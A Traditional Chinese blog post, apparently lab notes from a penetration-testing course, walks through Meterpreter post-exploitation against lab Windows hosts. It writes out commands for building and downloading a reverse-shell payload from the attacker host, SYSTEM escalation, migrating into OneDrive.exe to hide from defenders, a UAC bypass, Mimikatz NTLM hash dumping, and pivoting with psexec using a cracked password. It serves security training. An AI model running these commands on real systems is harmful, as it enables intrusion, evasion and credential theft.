Meterpreter 核心利用後功能與模組暨旋轉

 Meterpreter 核心利用後功能與模組暨旋轉


攻擊機 192.168.45.242

靶機 192.168.186.223(Windows)


建立一個 payload 名稱為 met.exe 如下

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.45.242 LPORT=443 -f exe -o met.exe




sudo msfconsole -q 啟動 Metasploit

search multi handler 並選擇 5 (use 5)



use 5 後 show options 看一下如下圖,payload 是 generic/shell_reverse_tcp





先將 payload 改成 windows/x64/meterpreter_reverse_https

指令 set payload windows/x64/meterpreter_reverse_https 再 show options 看一下必要的欄位




set LHOST 192.168.45.242 & set LPORT 443



執行 run,可以看到攻擊機在本機的 443 Port 上執行了 reverse handler




假設 Windows 靶機已經有一個 4444 連線 shell


 


下載我們一開始建立的 met.exe,指令如下,啟動 powershell 然後 iwr 下載再 dir 看一下

powershell

iwr -uri http://192.168.45.242/met.exe -Outfile met.exe

dir




執行 payload met.exe




剛剛建立的 443 listen 進來了,執行 idletime 看一下閒置時間




上圖輸出表示使用者已經 27 分 14 秒沒有與系統交互,這表示使用者可能已經離開了電腦

如果 idletime 指令的結果顯示使用者離開,我們可以以此為契機執行可能會短暫顯示命令列視窗(例如CMD或PowerShell)的程式或指令。


對於幾個後利用功能,我們需要管理權限才能執行它們。

Metasploit 包含指令 getsystem,該指令嘗試自動將我們的權限提升到 NT AUTHORITY\SYSTEM

它使用各種使用命名管道模擬和令牌複製的技術。

在預設設定中,getsystem 使用所有可用技術(在說明選單中顯示)嘗試利用 SeImpersonatePrivilege 和 SeDebugPrivilege


在執行getsystem之前,讓我們啟動一個互動式 shell 並確認我們的使用者已指派這兩個權限之一

shell --> 啟動 cmd or powershell

whoami /priv --> 看一下可否提權,SeImpersonatePrivilege 是 Enabled 的狀態,讚

exit --> 回到 meterpreter




目前的權限是一般使用者 luiza




也可以在 meterpreter 下 getuid 查看現有使用者

執行 getsystem 提權(Timeout 就再試一次),再 getuid 看一次已經提權成功

getsystem 透過使用命名管道模擬(PrintSpooler 變體)成功地將我們的權限提升到 NT AUTHORITY\SYSTEM ,就像我們在 Windows 權限提升模組中手動執行的那樣





另一個重要的後利用功能是 migrate。當我們危害主機時,我們的 Meterpreter 有效負載會在我們攻擊或執行有效負載的應用程式的進程內執行。如果受害者關閉該進程,我們對機器的存取也將關閉。此外,根據包含Meterpreter有效負載的Windows二進位檔案的命名方式,如果防禦者正在搜尋進程列表,則進程名稱可能是可疑的。我們可以使用 migrate 將 Meterpreter 負載的執行移至不同的進程。

先執行 ps 看一下現在所有的進程 process




可以看到 met.exe 就是我們剛剛利用的 payload (ID=5308)




接下來我們要執行的是包裝到 OneDrive.exe 這個看來無害的 process (ID = 4480)




直接執行指令 migrate 4480,會將我們剛剛的 5308 包到 4480 裡



再跑一次 ps ,這一次僅會顯示我們這次利用的 OneDriver.exe 執行身分 offsec 相關進程




這時候再執行一次 getuid 會發現身分已經轉換為 offsec 了




我們還可以使用 execute Meterpreter 指令,而不是遷移到現有進程或找不到任何合適的進程來遷移到的情況 。該命令提供了透過指定命令或程序創建新進程的能力。

為了示範這一點,讓我們啟動一個隱藏的記事本進程並以使用者 offsec 遷移到它。為此,我們使用帶有 -H 的執行來建立從視圖中隱藏的進程,並使用 notepad 作為 -f 的參數來指定要執行的命令或程式。然後,我們遷移到新生成的進程。

指令 execute -H -f notepad 創建了一個新的 Process ID 2376

接著遷移到此進程,指令 migrate 2376,會看到原本的 4480 再次被遷移到 2376




本題的 flag 很簡單就是利用讀取 flag 的環境變數,指令 getenv flag






後模組利用


攻擊機 : 192.168.45.208

靶機 : 192.168.186.223

flag 為使用 Kiwi 檢索使用者 offsec 的 NTLM 雜湊

同前面一樣先透過 Shell 進到 Meterpreter 如下




接著先 getsystem 提權





ps 找到 OneDrive.exe,然後用 migrate <Process ID> 遷移,getuid 確認是 offsec




雖然 offsec 是 local Administrators 群組成員之一,但 Windows 的 UAC 將會限制我們





進入 shell,whoami 看一下確認是 offsec,然後執行 powershell -ep bypass 呼叫 powershell




接著匯入 NtObjectManager 模組,參考如下連結 https://www.powershellgallery.com/packages/NtObjectManager/1.1.33

指令 Import-Module NtObjectManager,參考如下連結

https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtObjectManager/NtTokenFunctions.ps1

接著使用 Get-NtTokenIntegrityLevel 透過檢索和檢查分配的存取權杖來顯示目前程序的完整性等級,結果發現現有的 UAC 等級屬於 Medium




Ctrl+Z with y 再 bg 將 session 先放到背景,回到 Metasploit 主介面






接著讓我們搜尋 UAC 看看可利用的模組,如下 11 是現代 Windows 系統上的一個非常有效的 UAC 繞過方法是 exploit/windows/local/bypassuac_sdclt

它的目標是 Microsoft 二進位檔案 sdclt.exe

此二進位檔案可被濫用,透過產生完整性等級為 High 的程序來繞過 UAC





use 11 然後 show options 看一下必要的值,需要輸入 SESSION




執行指令

set SESSION 9

set LHOST 192.168.45.208

run 結果不成功,告知沒 SESSION ,set SESSION 1 也不成功

後來將 LPORT 從 4444 改成 4443 就可以跑了





補充說明 : 請看這個站 https://medium.com/@5rvl0c4lr00t/hackthebox-grandpa-write-up-srv-10c4lr00t-d4e0f88168a1

使用 Metasploit 時不知道要利用甚麼模組可以輸入 use post/multi/recon/local_exploit_suggester 再 run

會告知你可以利用的模組




回到靶機,重複之前的指令步驟

shell

powershell -ep bypass

Import-Module NtObjectManager

Get-NtTokenIntegrityLevel

這一次看到等級是 High 了,已經成功繞過了 UAC





退回到 Meterpreter 模組利用介面(Ctrl+Z with y 再輸入 bg)




讓我們重新回到 443 listen 然後 met.exe 利用連接 reverse shell





有了 NT AUTHORITY\SYSTEM 權限,可以執行 local kiwi,因為包含了 Mimikatz 的功能





接著輸入 help 查看 command,我們要用的是 

creds_msv Retrieve LM/NTLM creds (parsed)





NTLM 雜湊出來了








練習 2

搜尋可列舉 Windows 主機檔案的後利用模組,並針對 VM 上的活動會話啟動此模組。

該文件的唯一條目的網域名稱是什麼?


執行 search hostfile,只有一個那就直接

use post/windows/gather/enum_hostfile ,然後 show options




set SESSION 1 然後直接 run




└─$ sudo cat /root/.msf4/loot/20231030103841_default_192.168.186.223_hosts.confige_280042.txt









練習 3

靶機有兩台,一台是內網 192.168.186.223 / 172.16.71.200

nc 到第一台後看到有兩隻腳,接下來要利用 Metasploit 直接轉 Port





一樣 met.exe 透過 443 進來後 getsystem 提權然後 bg




另一個網段是 172.16.71.0/24

接著執行 route add 172.16.71.0/24 1 (1 指的是上圖 bg 背後的 SESSION 1)

route print 看一下確認新增成功,成功就表示內網已經通了





接著使用模組 use auxiliary/scanner/portscan/tcp

set RHOSTS 172.16.71.200

set PORTS 445,3389

run

445 & 3389 都是顯示 OPEN





首先使用 psexec 來試試看,use exploit/windows/smb/psexec





執行指令

set SMBUser luiza

set SMBPass "BoccieDearAeroMeow1!" --> 上一節拿到的 Hash 破解出來的明碼

set RHOSTS 172.16.71.200

set payload windows/x64/meterpreter/bind_tcp

set LHOST 192.168.45.208

set LPORT 8000

run











留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)